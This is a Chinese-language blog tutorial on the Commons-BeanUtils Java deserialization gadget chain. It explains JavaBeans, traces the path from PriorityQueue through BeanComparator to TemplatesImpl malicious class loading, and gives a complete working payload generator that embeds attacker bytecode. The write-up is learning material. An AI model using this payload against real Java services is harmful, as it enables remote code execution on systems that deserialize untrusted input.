Java反序列化之CB

CB

参考:https://www.cnblogs.com/1vxyz/p/17588722.html

环境:jdk8u65 && commons-beanutils 1.8.3 && commons-logging 1.2

首先介绍一下CommonsBeanutils和JavaBean

CommonsBeanutils 是应用于 JavaBean 的工具 它提供了对普通Java类对象(也称为JavaBean)的一些操作方法

JavaBean 是一种JAVA语言写成的可重用组件 它是一个类

所谓JavaBean 是指符合如下标准的Java类:

  • 类是公共的
  • 有一个无参的公共的构造器
  • 有私有属性 且须有对应的get,set方法去设置属性
  • 对于boolean类型的成员变量 允许使用”is”代替上面的”get”和”set”

下面举个例子

1
2
3
4
5
6
7
8
9
10
11
12
public class Person {
private String name; // 属性一般定义为private
public Person(String name) {
this.name = name;
}
public String getName() { //读方法
return name;
}
public void setName(String n) { //写方法
name = n;
}
}

作为JavaBean的属性 一定是得有get和set两个方法才行的

接下来我们进入CB链

sink点在PropertyUtils::getProperty

值得一提的是 PropertyUtils::getProperty() 还支持递归获取属性值 所以如果当一个JavaBean的getter方法存在可利用的点 那么配合这个sink点就能达成不错的效果

我们先不提JavaBean后面命令执行 先讲讲PropertyUtils::getProperty()在何处被调用

这里最好是找到一个能过序列化同时自己就会实例化PropertyUtils的类 那么找到的是BeanComparator

因为是Comparator 我们容易联想到CC2/CC4中的PriorityQueue

PriorityQueue中包含Comparator属性 同时可序列化 通过readObject()走到compare

然后我们讲讲PropertyUtils::getProperty()后面的JavaBean的getter利用

这里的利用点也就是CC3中的TemplatesImpl恶意类加载 这里直接给出gadget chain

1
2
3
4
5
6
7
8
9
10
Gadget chain:
PriorityQueue::readObject() ->
...... ->
BeanComparator::compare() ->
PropertyUtils::getProperty() ->
TemplatesImpl::getOutputProperties() ->
TemplatesImpl::newTransformer() ->
TemplatesImpl::getTransletInstance() ->
TemplatesImpl::defineTransletClasses() ->
TransletClassLoader::defineClass()

防止序列化时就执行命令 最好还是将恶意数据在反射的时候再进行修改

得注意后面调用getter方法之前是用属性名字来索引的 所以根据TemplatesImpl的property名字是outputProperties 我们可以在BeanComparator初始化的时候就将传入PropertyUtils的property名字给换成outputProperties 但是这样的话 就只能直接修改PriorityQueue实例的size为2 就不给它add了

与CC2/4 略微不同的是 还需要用反射去修改 queue属性的值 因为要控制 BeanComparator::compare()的参数为恶意templates对象

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class cb {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "jed");
byte[] code = Files.readAllBytes(Paths.get("target/classes/evil.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_class", null);

BeanComparator comparator = new BeanComparator("outputProperties", String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数
setFieldValue(queue,"size",2);

// serialize(queue);
unserialize("CB1.bin");
}

public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CB1.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}

Java反序列化之CB
http://example.com/2025/04/09/Java反序列化之CB/
作者
Jednersaous
发布于
2025年4月9日
许可协议